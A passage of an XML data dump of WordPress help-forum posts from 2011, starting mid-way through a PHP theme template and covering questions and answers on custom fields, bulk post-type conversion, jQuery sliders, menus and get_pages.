class=&quot;post&quot;&amp;gt;&#xA;&amp;lt;center&amp;gt;&amp;lt;h2 class=&quot;pageTitle&quot;&amp;gt;Choose Your State From the List Below&amp;lt;/h2&amp;gt;&amp;lt;/center&amp;gt;&amp;lt;br /&amp;gt;&#xA;&amp;lt;table width=&quot;100%&quot; align=&quot;center&quot; border=&quot;0&quot;&amp;gt;&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;&#xA;&amp;lt;div style=&quot;float:left;display:inline;width:50%;&quot;&amp;gt;&#xA;&amp;lt;?php echo $cat_left;?&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;div style=&quot;float:left;display:inline;width:50%;&quot;&amp;gt;&#xA;&amp;lt;?php echo $cat_right;?&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&amp;lt;/table&amp;gt;&#xA;&amp;lt;/div&amp;gt; &#xA;&amp;lt;/div&amp;gt;&amp;lt;!-- Closes Content --&amp;gt;&#xA;&amp;lt;? } // End States Page&#xA;else //Begin State Page - Lists Colleges&#xA;if ($current == 5 || $current == 10 || $current == 11 || $current == 12 || $current == 13 || $current == 14 || $current == 15 || $current == 16 || $current == 17 || $current == 18 || $current == 19 || $current == 20 || $current == 21 || $current == 22 || $current == 23 || $current == 24 || $current == 25 || $current == 26 || $current == 27 || $current == 28 || $current == 29 || $current == 30 || $current == 31 || $current == 32 || $current == 33 || $current == 34 || $current == 35 || $current == 36 || $current == 37 || $current == 38 || $current == 39 || $current == 40 || $current == 41 || $current == 42 || $current == 43 || $current == 44 || $current == 45 || $current == 46 || $current == 47 || $current == 48 || $current == 49 || $current == 50 || $current == 51 || $current == 52 || $current == 53 || $current == 54 || $current == 55 || $current == 56 || $current == 57 || $current == 63 || $current == 64)//The State Page&#xA;{ ?&amp;gt;&#xA;&amp;lt;div id=&quot;content&quot;&amp;gt;&#xA;&amp;lt;div class=&quot;post&quot;&amp;gt; &#xA;&amp;lt;center&amp;gt;&amp;lt;h2 class=&quot;pageTitle&quot;&amp;gt;Colleges for the State of &amp;lt;?php single_cat_title(); ?&amp;gt;&amp;lt;/h2&amp;gt;&amp;lt;/center&amp;gt;&amp;lt;br /&amp;gt;&#xA;&amp;lt;table width=&quot;100%&quot; align=&quot;center&quot; border=&quot;0&quot;&amp;gt;&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;&#xA;&amp;lt;div style=&quot;float:left;display:inline;width:50%;&quot;&amp;gt;&#xA;&amp;lt;?php echo $cat_left;?&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;div style=&quot;float:left;display:inline;width:50%;&quot;&amp;gt;&#xA;&amp;lt;?php echo $cat_right;?&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&amp;lt;/table&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt; &amp;lt;!-- Closes Content --&amp;gt;&#xA;&amp;lt;? }// End State Page - Lists Colleges&#xA;elseif // Begin College Page - Lists Headings and Needs to List Departments&#xA;(is_category() || is_single()){{&#xA;$cat = get_category_by_path(get_query_var('category_name'),false);&#xA;$current = $cat-&amp;gt;cat_ID;&#xA;$current_name = $cat-&amp;gt;cat_name;&#xA;} ?&amp;gt;&#xA;&amp;lt;div id=&quot;content&quot;&amp;gt;&#xA;&amp;lt;div class=&quot;post&quot;&amp;gt;&#xA;&amp;lt;div align=&quot;center&quot;&amp;gt;&amp;lt;?php ciii_category_archive_image(); ?&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;br /&amp;gt;&#xA;&amp;lt;center&amp;gt;&amp;lt;h2 class=&quot;pageTitle&quot;&amp;gt;Departments for &amp;lt;?php single_cat_title(); ?&amp;gt;&amp;lt;/h2&amp;gt;&amp;lt;/center&amp;gt;&amp;lt;br /&amp;gt;&#xA;&amp;lt;table align=&quot;center&quot; width=&quot;100%&quot; border=&quot;0&quot;&amp;gt;&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;&#xA;&amp;lt;div style=&quot;float:left;display:inline;width:50%;&quot;&amp;gt;&#xA;&amp;lt;?php echo $cat_left;?&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;div style=&quot;float:left;display:inline;width:50%;&quot;&amp;gt;&#xA;&amp;lt;?php echo $cat_right;?&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&amp;lt;/table&amp;gt;&#xA;&amp;lt;br /&amp;gt;&#xA;&amp;lt;div align=&quot;justify&quot;&amp;gt;&amp;lt;center&amp;gt;&amp;lt;b&amp;gt;&amp;lt;?php single_cat_title(); ?&amp;gt; Mission Statement&amp;lt;/b&amp;gt;&amp;lt;/center&amp;gt;&amp;lt;br /&amp;gt;&amp;lt;?php echo category_description( $category_id ); ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt; &amp;lt;!-- Closes Content --&amp;gt;&#xA;&amp;lt;?php } }?&amp;gt;&#xA;&amp;lt;/div&amp;gt; &amp;lt;!-- Close Content Wrapper --&amp;gt;&#xA;&amp;lt;?php get_sidebar(); ?&amp;gt;&#xA;&amp;lt;div class=&quot;cleared&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt; &amp;lt;!-- Closes Main --&amp;gt;&#xA;&amp;lt;div class=&quot;bottomcurvewhite&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;&amp;lt;?php get_footer(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7956" LastActivityDate="2011-08-17T11:23:45.767" Title="How to add an identifier to a category, to display custom child-category output in Wordpress" Tags="&lt;php&gt;&lt;custom-field&gt;" />
  <row Id="26130" PostTypeId="1" CreationDate="2011-08-17T11:36:35.837" Score="-1" ViewCount="15" Body="&lt;p&gt;I added a button and when you press on it new content should come up on top of everything, but if I icnlude my code into header.php it will cover only header, if I include in index.php it will cover only index, so my question is where I should include my code?&lt;/p&gt;&#xA;" OwnerUserId="7552" LastActivityDate="2011-08-17T11:36:35.837" Title="In what file I should include my code if I want content to come up on top of everything?" Tags="&lt;wordpress.com&gt;" />
  <row Id="26131" PostTypeId="1" CreationDate="2011-08-17T11:55:41.440" Score="0" ViewCount="6" Body="&lt;p&gt;I created this little code here to open a category-list-accordeon when a specific post is opened. This is the code I made for it: &lt;a href=&quot;http://pastebin.com/vskC7Hsi&quot; rel=&quot;nofollow&quot;&gt;http://pastebin.com/vskC7Hsi&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This works well. Every accordeon-tab has its category ID! And also the javascript generates the right category-ID out of the currently viewed post but the javascript doesnt work. It just dont want to open the tab. Can you help me to find a solution?&lt;/p&gt;&#xA;" OwnerUserId="7753" LastActivityDate="2011-08-17T11:55:41.440" Title="Bug: Trying to open jQuery accordeon with category-ID" Tags="&lt;jquery&gt;&lt;tabs&gt;" />
  <row Id="26132" PostTypeId="1" AcceptedAnswerId="26137" CreationDate="2011-08-17T12:02:34.423" Score="0" ViewCount="41" Body="&lt;p&gt;If I understand correctly, custom fields work like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;key(string/int) =&amp;gt; value(string/int)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is it possible to define a custom field like this?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;key(string/int) =&amp;gt; value(array (string/int, string/int))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I want to use such a structure for storing a series of quotations in [quote, source] format, thinking that it would minimize potential input error compared with, say, str_splitting a single value.&lt;/p&gt;&#xA;" OwnerUserId="7905" LastActivityDate="2011-08-17T12:40:59.627" Title="Is it possible to store arrays in a custom field?" Tags="&lt;custom-field&gt;&lt;post-meta&gt;&lt;array&gt;" AnswerCount="1" />
  <row Id="26133" PostTypeId="1" AcceptedAnswerId="26136" CreationDate="2011-08-17T12:07:38.307" Score="1" ViewCount="20" Body="&lt;p&gt;I have been given a client's wordpress site to update &amp;amp; improve. Biggest problem - I need to take about 200+ posts of a specific category, 'reviews' and convert them all into a custom post type 'reviews'. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;On top of this I need to move a few custom fields that have been attributed to these posts, so they remain intact once moved.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I expect I'll have to write a custom script that will change the mysql direct. But before I get my hands dirty- does anyone have any experience with doing this? Any tips/ gotchas/ scripts out there I can use?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers&lt;/p&gt;&#xA;" OwnerUserId="7967" LastActivityDate="2011-08-17T12:37:51.283" Title="Bulk post type conversion" Tags="&lt;custom-post-types&gt;&lt;bulk&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="26134" PostTypeId="2" ParentId="26128" CreationDate="2011-08-17T12:08:34.963" Score="1" ViewCount="" Body="&lt;p&gt;Have you enabled Plugins for network sites, via the Network Admin?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, MU (must-use) or network-activated Plugins won't show in the site dashboard, IIRC.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-08-17T12:08:34.963" />
  <row Id="26135" PostTypeId="1" CreationDate="2011-08-17T12:31:37.363" Score="-1" ViewCount="10" Body="&lt;p&gt;i need a pop up with description of an image when i click that image. How can this be done? Is there any plugin in wordpress that can do this?&lt;/p&gt;&#xA;" OwnerUserId="732" LastActivityDate="2011-08-17T12:31:37.363" Title="I need a Pop up with description when i click an image" Tags="&lt;jquery&gt;" />
  <row Id="26136" PostTypeId="2" ParentId="26133" CreationDate="2011-08-17T12:37:51.283" Score="1" ViewCount="" Body="&lt;p&gt;You are not really moving anything just changing a simple field named &lt;code&gt;post_type&lt;/code&gt; for each post so you don't have to worry about custom fields or anything else.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Simply get the post id's for the posts you need to change and change them and if you don't want to create a custom sql query for that you can even do that by WordPress:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//first get the post_ids as an array&#xA;/*the SQL way &#xA;    global $wpdb;&#xA;    $querystr = &quot;&#xA;        SELECT * FROM $wpdb-&amp;gt;posts&#xA;        LEFT JOIN $wpdb-&amp;gt;term_relationships ON($wpdb-&amp;gt;posts.ID = $wpdb-&amp;gt;term_relationships.object_id)&#xA;        LEFT JOIN $wpdb-&amp;gt;term_taxonomy ON($wpdb-&amp;gt;term_relationships.term_taxonomy_id = $wpdb-&amp;gt;term_taxonomy.term_taxonomy_id)&#xA;        LEFT JOIN $wpdb-&amp;gt;terms ON($wpdb-&amp;gt;terms.term_id = $wpdb-&amp;gt;term_taxonomy.term_id)&#xA;        WHERE $wpdb-&amp;gt;terms.name = 'CAGETORY_NAME'&#xA;        AND $wpdb-&amp;gt;term_taxonomy.taxonomy = 'category'&#xA;        AND $wpdb-&amp;gt;posts.post_status = 'publish'&#xA;        AND $wpdb-&amp;gt;posts.post_type = 'post'&#xA;    &quot;;&#xA;&#xA;    $post_ids = $wpdb-&amp;gt;get_results($querystr); &#xA;*/&#xA;//&#xA;//&#xA;//&#xA;/* the WordPress Way */&#xA;        $post_ids = get_posts(array('post_per_page' =&amp;gt; -1, 'cat' =&amp;gt; category_id));&#xA;    //then update each post&#xA;        foreach($post_ids as $p){&#xA;            $po = array();&#xA;            $po = get_post($p-&amp;gt;ID,'ARRAY_A');&#xA;            $po['post_type'] = &quot;NEW_TYPE_NAME&quot;;&#xA;            wp_update_post($po);&#xA;        }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-08-17T12:37:51.283" CommentCount="1" />
  <row Id="26137" PostTypeId="2" ParentId="26132" CreationDate="2011-08-17T12:40:59.627" Score="1" ViewCount="" Body="&lt;p&gt;Yes you can, either by code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$demo = array('value1','value2','value3');&#xA;update_post_meta($post_id,'meta_key',$demo);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or simply using the custom fields UI, add ass many values as you want one at a  time and make sure they all have the same meta_key.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-08-17T12:40:59.627" CommentCount="5" />
  <row Id="26138" PostTypeId="1" CreationDate="2011-08-17T12:41:08.580" Score="0" ViewCount="39" Body="&lt;p&gt;A site I have inherited uses custom fields to set a path for thumbnails. Ideally I'd like to switch this over to use the built in post-thumbnail. Is there a way to procedurally set the post-thumbnail?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="7967" LastActivityDate="2011-08-17T16:59:35.973" Title="Set post-thumbnail (with php)?" Tags="&lt;post-thumbnails&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="26139" PostTypeId="1" CreationDate="2011-08-17T12:46:24.587" Score="3" ViewCount="39" Body="&lt;p&gt;What is a reasonable number of results I should expect with get_num_queries()? I know it depends on the theme, and I know that smaller is better, but what is a ballpark figure? 10s? 100s?&lt;/p&gt;&#xA;" OwnerUserId="1118" LastActivityDate="2011-08-17T23:57:27.220" Title="What is a reasonable get_num_queries() result?" Tags="&lt;performance&gt;&lt;get-num-queries&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="26140" PostTypeId="1" CreationDate="2011-08-17T12:53:31.703" Score="4" ViewCount="57" Body="&lt;p&gt;When I delete a page, post or category that has previously been added to a custom menu, the delete routine is apparently not checking to see if the item belongs to a custom menu, and thus its not removing it from the custom menu.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This results in a 404 page error when the menu item is clicked on from the website.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So as the code is now, its up to the user to (1) have knowledge of this behavior and (2) remember to delete the item from BOTH places, to avoid embarrassing 404 &quot;not found&quot; and search bot crawl errors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this a known bug/design flaw? It seems entirely counter-intuitive if its known and allowed to stand as is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I should note, as pointed out below by Maugly, that once the item is removed from &quot;Trash&quot;, WordPress finally removes it from any custom menus. However, this is counter-intutive the the way all other WordPress menus operate. As soon as you place an item in the trash, its removed from &quot;Pages&quot; and &quot;Recent Posts&quot; widget listings, why not the same behavior for custom menus?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd err on the side of consistency, and even more importantly, link integrity. Users should not expect custom menus to follow a completely different set of rules with respect to deleting pages and posts than other menus.&lt;/p&gt;&#xA;" OwnerUserId="6620" LastEditorUserId="6620" LastEditorDisplayName="" LastEditDate="2011-08-17T16:07:10.630" LastActivityDate="2011-08-17T16:07:10.630" Title="Deleted pages are NOT removed from custom menus?" Tags="&lt;custom-menus&gt;" AnswerCount="1" />
  <row Id="26142" PostTypeId="1" AcceptedAnswerId="26147" CreationDate="2011-08-17T13:22:42.983" Score="-1" ViewCount="40" Body="&lt;p&gt;I'm attempting to use jQuery cycle to create a rotator on my blog (which will be used going forward on all other blogs) like the following: &lt;a href=&quot;http://www.pbs.org/teachers&quot; rel=&quot;nofollow&quot;&gt;http://www.pbs.org/teachers&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&quot;feature-well&quot;&amp;gt;&#xA;&#xA;&amp;lt;?php &#xA;$loop = new WP_Query( array( 'category_name' =&amp;gt; 'Dynamic Lead', 'posts_per_page' =&amp;gt; 3 ) ); &#xA;$i = 0; ?&amp;gt;&#xA;&#xA;&amp;lt;ul id=&quot;feature-well-features&quot;&amp;gt;&#xA;&amp;lt;?php while ( $loop-&amp;gt;have_posts() ) : $loop-&amp;gt;the_post(); ?&amp;gt;       &#xA;    &amp;lt;li class=&quot;feature-well-feature &amp;lt;?php echo ++$i; ?&amp;gt;&quot;&amp;gt;&#xA;    &amp;lt;a href=&quot;&amp;lt;?php echo get_post_meta($post-&amp;gt;ID, 'custom_permalink', true); ?&amp;gt;&quot;&amp;gt;&#xA;        &amp;lt;img alt=&quot;&amp;lt;?php the_title(); ?&amp;gt; image&quot; &amp;lt;?php echo get_post_meta($post-&amp;gt;ID, 'img_url', true); ?&quot; /&amp;gt;&#xA;        &amp;lt;span class=&quot;feature-description&quot;&amp;gt;&#xA;            &amp;lt;span class=&quot;feature-go&quot;&amp;gt;Go!&amp;lt;/span&amp;gt;&#xA;            &amp;lt;span class=&quot;feature-title&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/span&amp;gt;&#xA;            &amp;lt;span class=&quot;feature-summary&quot;&amp;gt;&amp;lt;?php the_content(); ?&amp;gt;&amp;lt;/span&amp;gt;&#xA;        &amp;lt;/span&amp;gt;&amp;lt;!-- feature-well-description --&amp;gt;&#xA;    &amp;lt;/a&amp;gt;&#xA;    &amp;lt;/li&amp;gt;&#xA;       &amp;lt;?php endwhile; ?&amp;gt;             &#xA;&amp;lt;/ul&amp;gt;&amp;lt;!-- feature-description --&amp;gt;&#xA;&amp;lt;?php $i = 0; ?&amp;gt;&#xA;&amp;lt;ul id=&quot;feature-nav&quot;&amp;gt;&#xA;&#xA;    &amp;lt;?php while ( $loop-&amp;gt;have_posts() ) : $loop-&amp;gt;the_post(); ?&amp;gt;&#xA;    &amp;lt;li class=&quot;feature-&amp;lt;?php echo ++$i; ?&amp;gt; &amp;lt;?php if ( $i &amp;lt;= 1 ) echo 'activeSlide'; ?&amp;gt;&quot;&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php echo get_post_meta($post-&amp;gt;ID, 'custom_permalink', true); ?&amp;gt;&quot; &amp;lt;?php if ( $i &amp;lt;= 1 ) echo 'class=&quot;activeSlide&quot;'; ?&amp;gt;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;&amp;lt;?php endwhile; ?&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&amp;lt;!-- feature-list --&amp;gt;&#xA;&amp;lt;/div&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But when I implement the above code, I get nothing but blank space (the page doesn't continue loading). I've tried several tutorials about creating jQuery sliders in WP but none that allow me to have captions along with, lack of better word, buttons that hold the same titles as the captions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone help me out?&lt;/p&gt;&#xA;" OwnerUserId="7662" LastEditorUserId="385" LastEditorDisplayName="" LastEditDate="2011-08-17T13:48:17.000" LastActivityDate="2011-08-17T13:49:55.503" Title="jQuery cycle and WordPress: Captions, buttons, oh my" Tags="&lt;jquery&gt;&lt;custom-loop&gt;" AnswerCount="1" />
  <row Id="26143" PostTypeId="2" ParentId="25942" CreationDate="2011-08-17T13:25:13.307" Score="0" ViewCount="" Body="&lt;p&gt;Ok, think I've got the wrong Plugin.&#xA;Looke like this one does the trick: SyntaxHighlighter Evolved&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Olivier&lt;/p&gt;&#xA;" OwnerUserId="7970" LastActivityDate="2011-08-17T13:25:13.307" CommentCount="1" />
  <row Id="26144" PostTypeId="1" CreationDate="2011-08-17T13:25:27.677" Score="0" ViewCount="23" Body="&lt;p&gt;I am setting up my plugin's settings page and I am able to get the fields I want on the page, but I want them to be dropdowns not textboxes... I have not found any useful info on the web on how to do this other than using add_settings_field. With add_settings_field I can display a dropdown for my setting but I can't get it to appear on my plugin settings page, I can get it to appear on the 'reading settings page' though for example.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;basically I have used&lt;/p&gt;&#xA;&#xA;&lt;p&gt;add_options_page() so that my Plugin Options page shows up under the settings menu in the wordpress backend, and addaction() to register my settings, and the form is built with the callback function from add_options_page. This all works, I just can't get anything but textboxes... and I would like dropdowns and probably checkboxes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope that makes sense.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="7971" LastActivityDate="2011-08-25T19:14:46.857" Title="Creating Settings Page with dropdowns for Plugin" Tags="&lt;plugin-development&gt;&lt;settings&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="26145" PostTypeId="1" CreationDate="2011-08-17T13:26:21.403" Score="0" ViewCount="15" Body="&lt;p&gt;Was wondering if anyone could recommend a good way to display a single, random post from a wp_dropdown_categories() menu. Basically, I have a custom post type called Tips and a taxonomy term called Tip Categories. I want to display the Tip Categories in a dropdown (which I have done already using wp_dropdown_categories), then when a user selects a Tip Category and clicks a submit button, a random tip from that category will display.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I suppose I can figure out a way to do this on the front end with Javascript/CSS (generating all tips, then showing/hiding them) but it seems like it would be best to generate one tip and do it all in PHP. Anyone have an idea of how best to accomplish this? Can I somehow pass the value of the wp_dropdown_categories selection to WP_Query()? Maybe this is easier than I thought and I'm missing something?&lt;/p&gt;&#xA;" OwnerUserId="7947" LastActivityDate="2011-08-17T13:26:21.403" Title="Select category from dropdown, display random post from that category" Tags="&lt;categories&gt;&lt;taxonomy&gt;" />
  <row Id="26146" PostTypeId="2" ParentId="26140" CreationDate="2011-08-17T13:29:26.877" Score="4" ViewCount="" Body="&lt;p&gt;&lt;strong&gt;Empty your trash&lt;/strong&gt; :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Pages are not removed from the custom menus until they've been &lt;strong&gt;deleted completely&lt;/strong&gt;.&#xA;I've tested it right now.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Creating a complex nav menu can take a very long time and the pages can be bulk deleted in a sec. I believe WordPress is just trying to save you all the trouble in case of an accident.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Deleted categories are removed from nav menus instantly.&lt;/p&gt;&#xA;" OwnerUserId="2110" LastActivityDate="2011-08-17T13:29:26.877" CommentCount="3" />
  <row Id="26147" PostTypeId="2" ParentId="26142" CreationDate="2011-08-17T13:49:55.503" Score="0" ViewCount="" Body="&lt;p&gt;&lt;strong&gt;First:&lt;/strong&gt; You should use an IDE like &quot;Eclipse&quot; or &quot;PhpFireStorm&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Second:&lt;/strong&gt; Re-reading your code is always a good advice - what's missing in the next line?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;img alt=&quot;&amp;lt;?php the_title(); ?&amp;gt; image&quot; &amp;lt;?php echo get_post_meta($post-&amp;gt;ID, 'img_url', true); ?&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Third:&lt;/strong&gt; You need to state &lt;code&gt;global $post;&lt;/code&gt; at the beginning of your file, before you can access the provided data from the global post object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Fourth:&lt;/strong&gt; Never ever do something like this: &lt;code&gt;&amp;lt;?php echo 'bla'; ?&amp;gt;&amp;lt;?php echo 'whatever'; ?&amp;gt;&lt;/code&gt;. It doesn't harm, but it's aweful to read (and you should def. avoid it if you're making money with code/webdesign).&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-08-17T13:49:55.503" CommentCount="2" />
  <row Id="26148" PostTypeId="1" AcceptedAnswerId="26161" CreationDate="2011-08-17T13:53:24.190" Score="1" ViewCount="33" Body="&lt;p&gt;I have a metafield, that contains a series of options and writes the results to an array in a single meta field:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;array([0]=&amp;gt;'First',&#xA;      [1]=&amp;gt;'Second',&#xA;      [2]=&amp;gt;'Third',&#xA;     );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I find posts that contain any of the array elements, and display them using &lt;code&gt;WP_Query&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$search = new WP_Query('meta_key=mykey&amp;amp;meta_value=second');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But this doesn't seem to work. Any idea on how to achieve this?&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;I have edited my method, following &lt;a href=&quot;http://stackoverflow.com/questions/7095954/select-based-on-item-within-an-array/7096348#7096348&quot;&gt;this&lt;/a&gt; question:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$arg['meta_key'] == $key;&#xA;$args['meta_value'] = &quot;%|&quot;.$value.&quot;|%&quot;;&#xA;$custom_query = new WP_Query($args);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But no darts.&lt;/p&gt;&#xA;" OwnerUserId="784" LastEditorUserId="784" LastEditorDisplayName="" LastEditDate="2011-08-17T16:54:45.000" LastActivityDate="2011-08-17T17:09:20.327" Title="Finding posts containing matching array elements in a meta field usign WP_Query" Tags="&lt;plugin-development&gt;&lt;theme-development&gt;&lt;wp-query&gt;&lt;custom-loop&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="26149" PostTypeId="2" ParentId="26084" CreationDate="2011-08-17T14:10:40.307" Score="0" ViewCount="" Body="&lt;p&gt;This the code I have so far which looks like it does the job, I still wonder if there is a API function for the job:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/**&#xA; * @param (int) $category_id&#xA; * @param (int) $pagenum&#xA; * @return string&#xA; */&#xA;function get_category_paged_link($category_id, $pagenum)&#xA;{&#xA;    global $wp_rewrite;&#xA;&#xA;    $link = get_category_link($category_id);&#xA;&#xA;    if ($wp_rewrite-&amp;gt;using_permalinks() || $wp_rewrite-&amp;gt;using_index_permalinks())&#xA;    {&#xA;        $link = sprintf&#xA;        (&#xA;            '%s/%s/%d/',&#xA;            rtrim($link, '/'),&#xA;            $wp_rewrite-&amp;gt;pagination_base,&#xA;            $pagenum&#xA;        );&#xA;    }&#xA;    else&#xA;    {&#xA;        if (false === strpos($link, '?'))&#xA;            $link .= '?';&#xA;        else&#xA;            $link .= '&amp;amp;';&#xA;        $link .= sprintf('paged=%d', $pagenum);&#xA;    }&#xA;&#xA;    return $link;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="178" LastActivityDate="2011-08-17T14:10:40.307" />
  <row Id="26150" PostTypeId="1" AcceptedAnswerId="26154" CreationDate="2011-08-17T14:47:36.747" Score="0" ViewCount="26" Body="&lt;p&gt;I am attempting to get &lt;strong&gt;3&lt;/strong&gt; pages from the parent page (id is &lt;strong&gt;2035&lt;/strong&gt;). I am using wordpress 3.2.1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's my relevant code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&quot;videos&quot; class=&quot;contentLeft&quot;&amp;gt; &#xA;&amp;lt;?php &#xA;// get the three most recent videos (2035 is the video page)&#xA;$recentVideos = get_pages('child_of=2035&amp;amp;number=3');&#xA;&#xA;foreach ($recentVideos as $video) : &#xA;?&amp;gt;&#xA;&amp;lt;div class=&quot;video&quot;&amp;gt;&#xA;    &amp;lt;h5 class=&quot;video-title&quot;&amp;gt;&amp;lt;?php echo $video-&amp;gt;post_title; ?&amp;gt;&amp;lt;/h5&amp;gt; &#xA;    &amp;lt;?php echo get_the_post_thumbnail($video-&amp;gt;ID, 'thumbnail'); ?&amp;gt;&#xA;    &amp;lt;p&amp;gt;&amp;lt;?php echo $video-&amp;gt;post_excerpt; ?&amp;gt;&amp;lt;/p&amp;gt;&#xA;    &amp;lt;span class=&quot;date&quot;&amp;gt;Posted &amp;lt;?php echo date('d/m/Y', strtotime($video-&amp;gt;post_date));?&amp;gt; &#xA;    &amp;amp;mdash; &amp;lt;a href=&quot;&amp;lt;?php echo get_page_link($video-&amp;gt;ID); ?&amp;gt; &quot;&amp;gt;View Video&amp;lt;/a&amp;gt;&amp;lt;/span&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;?php endforeach; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I use: &lt;code&gt;$recentVideos = get_pages('child_of=2035');&lt;/code&gt; I get results as I would expect; but I want to limit it to 3 videos. I've looked in the docs and it says to use &lt;code&gt;number=X&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I use this; I simply get a blank content area. The rest of the page renders fine, except where the videos should be. There is no output at all; or errors; as far as I can tell.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I missing anything glaringly obvious?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've also tried passing &lt;code&gt;get_pages&lt;/code&gt; an array:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$recentVideos = get_pages(array('child_of'=&amp;gt;2035, 'number'=&amp;gt;3));&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but the same thing happens.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you.&lt;/p&gt;&#xA;" OwnerUserId="7973" LastActivityDate="2011-08-17T15:35:20.450" Title="get_pages and number - no output; no errors;" Tags="&lt;configuration&gt;&lt;get-page&gt;" AnswerCount="1" />
